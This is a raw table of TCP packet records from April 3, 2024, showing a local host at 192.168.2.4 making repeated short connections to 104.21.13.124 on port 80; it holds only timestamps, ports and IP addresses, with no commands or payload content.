Apr 3, 2024 06:38:29.278542995 CEST | 49820 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:29.402962923 CEST | 80 | 49820 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:29.403072119 CEST | 49820 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:29.527690887 CEST | 80 | 49820 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:29.710725069 CEST | 80 | 49820 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:29.711004972 CEST | 49820 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:29.711105108 CEST | 80 | 49820 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:29.711155891 CEST | 49820 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:29.835455894 CEST | 80 | 49820 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:29.859086990 CEST | 49821 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:29.983902931 CEST | 80 | 49821 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:29.983979940 CEST | 49821 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:29.987306118 CEST | 49821 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:30.111978054 CEST | 80 | 49821 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:30.112055063 CEST | 49821 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:30.236807108 CEST | 80 | 49821 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:30.401864052 CEST | 80 | 49821 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:30.402096987 CEST | 49821 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:30.402483940 CEST | 80 | 49821 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:30.402522087 CEST | 49821 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:30.526896000 CEST | 80 | 49821 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:30.543538094 CEST | 49822 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:30.668473005 CEST | 80 | 49822 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:30.668622017 CEST | 49822 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:30.670975924 CEST | 49822 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:30.797007084 CEST | 80 | 49822 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:30.797080040 CEST | 49822 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:30.922838926 CEST | 80 | 49822 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:31.090198040 CEST | 80 | 49822 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:31.090686083 CEST | 80 | 49822 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:31.090951920 CEST | 49822 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:31.090998888 CEST | 49822 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:31.215948105 CEST | 80 | 49822 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:31.234883070 CEST | 49823 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:31.359769106 CEST | 80 | 49823 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:31.359910965 CEST | 49823 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:31.366750956 CEST | 49823 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:31.491453886 CEST | 80 | 49823 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:31.491519928 CEST | 49823 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:31.616254091 CEST | 80 | 49823 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:31.930062056 CEST | 80 | 49823 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:31.930398941 CEST | 49823 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:31.930489063 CEST | 80 | 49823 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:31.930548906 CEST | 49823 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:32.055289984 CEST | 80 | 49823 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:32.082963943 CEST | 49824 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:32.208112001 CEST | 80 | 49824 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:32.208297014 CEST | 49824 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:32.210551023 CEST | 49824 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:32.335490942 CEST | 80 | 49824 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:32.335652113 CEST | 49824 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:32.460660934 CEST | 80 | 49824 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:32.636657953 CEST | 80 | 49824 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:32.636753082 CEST | 80 | 49824 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:32.636943102 CEST | 49824 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:32.636944056 CEST | 49824 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:32.761945963 CEST | 80 | 49824 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:32.786163092 CEST | 49825 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:32.912142992 CEST | 80 | 49825 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:32.912281990 CEST | 49825 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:32.914570093 CEST | 49825 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:33.038754940 CEST | 80 | 49825 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:33.038847923 CEST | 49825 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:33.163073063 CEST | 80 | 49825 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:33.328829050 CEST | 80 | 49825 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:33.329065084 CEST | 80 | 49825 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:33.329125881 CEST | 49825 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:33.329549074 CEST | 49825 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:33.453922033 CEST | 80 | 49825 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:33.473109007 CEST | 49826 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:33.597615004 CEST | 80 | 49826 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:33.597759962 CEST | 49826 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:33.600213051 CEST | 49826 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:33.724530935 CEST | 80 | 49826 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:33.724842072 CEST | 49826 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:33.849193096 CEST | 80 | 49826 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:34.018080950 CEST | 80 | 49826 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:34.018443108 CEST | 49826 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:34.018692017 CEST | 80 | 49826 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:34.018748045 CEST | 49826 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:34.143115044 CEST | 80 | 49826 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:34.155201912 CEST | 49827 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:34.279861927 CEST | 80 | 49827 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:34.280117035 CEST | 49827 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:34.282252073 CEST | 49827 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:34.406848907 CEST | 80 | 49827 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:34.406924963 CEST | 49827 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:34.534203053 CEST | 80 | 49827 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:34.705063105 CEST | 80 | 49827 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:34.705544949 CEST | 49827 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:34.705634117 CEST | 80 | 49827 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:34.705693960 CEST | 49827 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:34.830224037 CEST | 80 | 49827 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:34.849754095 CEST | 49828 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:34.979576111 CEST | 80 | 49828 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:34.979660034 CEST | 49828 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:34.982501984 CEST | 49828 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:35.107290983 CEST | 80 | 49828 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:35.107508898 CEST | 49828 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:35.232268095 CEST | 80 | 49828 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:35.398335934 CEST | 80 | 49828 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:35.398561954 CEST | 80 | 49828 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:35.398586035 CEST | 49828 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:35.398628950 CEST | 49828 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:35.524003983 CEST | 80 | 49828 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:35.546013117 CEST | 49829 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:35.669941902 CEST | 80 | 49829 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:35.670016050 CEST | 49829 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:35.672061920 CEST | 49829 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:35.796045065 CEST | 80 | 49829 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:35.796123028 CEST | 49829 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:35.920551062 CEST | 80 | 49829 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:36.087373972 CEST | 80 | 49829 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:36.087609053 CEST | 49829 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:36.088501930 CEST | 80 | 49829 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:36.088586092 CEST | 49829 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:36.211796999 CEST | 80 | 49829 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:36.231084108 CEST | 49830 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:36.356030941 CEST | 80 | 49830 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:36.356127024 CEST | 49830 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:36.358340025 CEST | 49830 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:36.484210014 CEST | 80 | 49830 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:36.484271049 CEST | 49830 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:36.608932018 CEST | 80 | 49830 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:36.781783104 CEST | 80 | 49830 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:36.781949043 CEST | 80 | 49830 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:36.782001019 CEST | 49830 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:36.782028913 CEST | 49830 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:36.906744003 CEST | 80 | 49830 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:36.916899920 CEST | 49831 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:37.041688919 CEST | 80 | 49831 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:37.041799068 CEST | 49831 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:37.043826103 CEST | 49831 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:37.168525934 CEST | 80 | 49831 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:37.168632984 CEST | 49831 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:37.293581963 CEST | 80 | 49831 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:37.465118885 CEST | 80 | 49831 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:37.465396881 CEST | 49831 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:37.465841055 CEST | 80 | 49831 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:37.465893030 CEST | 49831 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:37.591721058 CEST | 80 | 49831 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:37.605751991 CEST | 49832 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:37.730410099 CEST | 80 | 49832 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:37.730524063 CEST | 49832 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:37.732708931 CEST | 49832 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:37.857310057 CEST | 80 | 49832 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:37.857372999 CEST | 49832 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:37.981966019 CEST | 80 | 49832 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:38.151998997 CEST | 80 | 49832 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:38.152079105 CEST | 80 | 49832 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:38.152137041 CEST | 49832 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:38.152615070 CEST | 49832 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:38.277147055 CEST | 80 | 49832 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:38.292154074 CEST | 49833 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:38.417351007 CEST | 80 | 49833 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:38.417550087 CEST | 49833 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:38.419517040 CEST | 49833 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:38.544574976 CEST | 80 | 49833 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:38.544631958 CEST | 49833 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:38.669946909 CEST | 80 | 49833 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:38.836112022 CEST | 80 | 49833 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:38.836247921 CEST | 80 | 49833 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:38.836335897 CEST | 49833 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:38.836416006 CEST | 49833 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:38.961165905 CEST | 80 | 49833 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:38.979192019 CEST | 49834 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:39.103856087 CEST | 80 | 49834 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:39.104028940 CEST | 49834 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:39.111241102 CEST | 49834 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:39.235083103 CEST | 80 | 49834 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:39.235162020 CEST | 49834 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:39.359091043 CEST | 80 | 49834 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:39.536004066 CEST | 80 | 49834 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:39.536391973 CEST | 80 | 49834 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:39.536451101 CEST | 49834 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:39.536670923 CEST | 49834 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:39.665147066 CEST | 80 | 49834 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:39.693398952 CEST | 49835 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:39.819010973 CEST | 80 | 49835 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:39.819103956 CEST | 49835 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:40.106892109 CEST | 49835 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:40.232286930 CEST | 80 | 49835 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:40.232371092 CEST | 49835 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:40.357759953 CEST | 80 | 49835 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:40.525443077 CEST | 80 | 49835 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:40.525724888 CEST | 80 | 49835 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:40.525789022 CEST | 49835 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:42.056874037 CEST | 49835 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:42.182993889 CEST | 80 | 49835 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:42.289518118 CEST | 49836 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:42.414664030 CEST | 80 | 49836 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:42.414762020 CEST | 49836 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:42.416971922 CEST | 49836 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:42.541727066 CEST | 80 | 49836 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:42.541822910 CEST | 49836 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:42.668508053 CEST | 80 | 49836 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:42.843430042 CEST | 80 | 49836 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:42.843727112 CEST | 49836 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:42.843805075 CEST | 80 | 49836 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:42.843863964 CEST | 49836 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:42.968677998 CEST | 80 | 49836 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:43.138528109 CEST | 49837 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:43.262840986 CEST | 80 | 49837 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:43.262952089 CEST | 49837 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:43.265047073 CEST | 49837 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:43.389740944 CEST | 80 | 49837 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:43.389837980 CEST | 49837 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:43.513962030 CEST | 80 | 49837 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:43.688081980 CEST | 80 | 49837 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:43.688293934 CEST | 80 | 49837 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:43.688313961 CEST | 49837 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:43.688354969 CEST | 49837 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:43.812566042 CEST | 80 | 49837 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:43.830387115 CEST | 49838 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:43.955099106 CEST | 80 | 49838 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:43.955213070 CEST | 49838 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:43.957175970 CEST | 49838 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:44.082478046 CEST | 80 | 49838 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:44.082529068 CEST | 49838 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:44.207192898 CEST | 80 | 49838 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:44.379744053 CEST | 80 | 49838 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:44.379905939 CEST | 80 | 49838 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:44.379946947 CEST | 49838 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:44.380007029 CEST | 49838 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:44.505414963 CEST | 80 | 49838 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:44.512314081 CEST | 49839 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:44.636349916 CEST | 80 | 49839 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:44.636457920 CEST | 49839 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:44.645217896 CEST | 49839 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:44.769753933 CEST | 80 | 49839 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:44.769838095 CEST | 49839 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:44.893834114 CEST | 80 | 49839 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:45.064080954 CEST | 80 | 49839 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:45.064341068 CEST | 49839 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:45.064918995 CEST | 80 | 49839 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:45.064974070 CEST | 49839 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:45.190413952 CEST | 80 | 49839 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:45.208689928 CEST | 49840 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:45.333559036 CEST | 80 | 49840 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:45.333666086 CEST | 49840 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:45.335994959 CEST | 49840 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:45.460966110 CEST | 80 | 49840 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:45.461213112 CEST | 49840 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:45.585998058 CEST | 80 | 49840 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:45.751863956 CEST | 80 | 49840 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:45.752273083 CEST | 49840 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:45.752444983 CEST | 80 | 49840 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:45.752530098 CEST | 49840 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:45.877101898 CEST | 80 | 49840 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:45.895006895 CEST | 49841 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:46.020036936 CEST | 80 | 49841 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:46.020188093 CEST | 49841 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:46.022619963 CEST | 49841 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:46.147932053 CEST | 80 | 49841 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:46.148027897 CEST | 49841 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:46.272794008 CEST | 80 | 49841 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:46.588614941 CEST | 80 | 49841 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:46.589260101 CEST | 49841 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:46.589760065 CEST | 80 | 49841 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:46.589816093 CEST | 49841 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:46.714016914 CEST | 80 | 49841 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:46.729598999 CEST | 49842 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:46.854430914 CEST | 80 | 49842 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:46.854609966 CEST | 49842 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:46.856471062 CEST | 49842 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:46.981858015 CEST | 80 | 49842 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:46.982182026 CEST | 49842 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:47.107428074 CEST | 80 | 49842 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:47.415154934 CEST | 80 | 49842 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:47.415266037 CEST | 80 | 49842 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:47.415441036 CEST | 49842 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:47.415565014 CEST | 49842 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:47.540421963 CEST | 80 | 49842 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:47.560441971 CEST | 49843 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:47.684956074 CEST | 80 | 49843 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:47.685307026 CEST | 49843 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:47.687505007 CEST | 49843 | 80 | 192.168.2.4 | 104.21.13.124 |
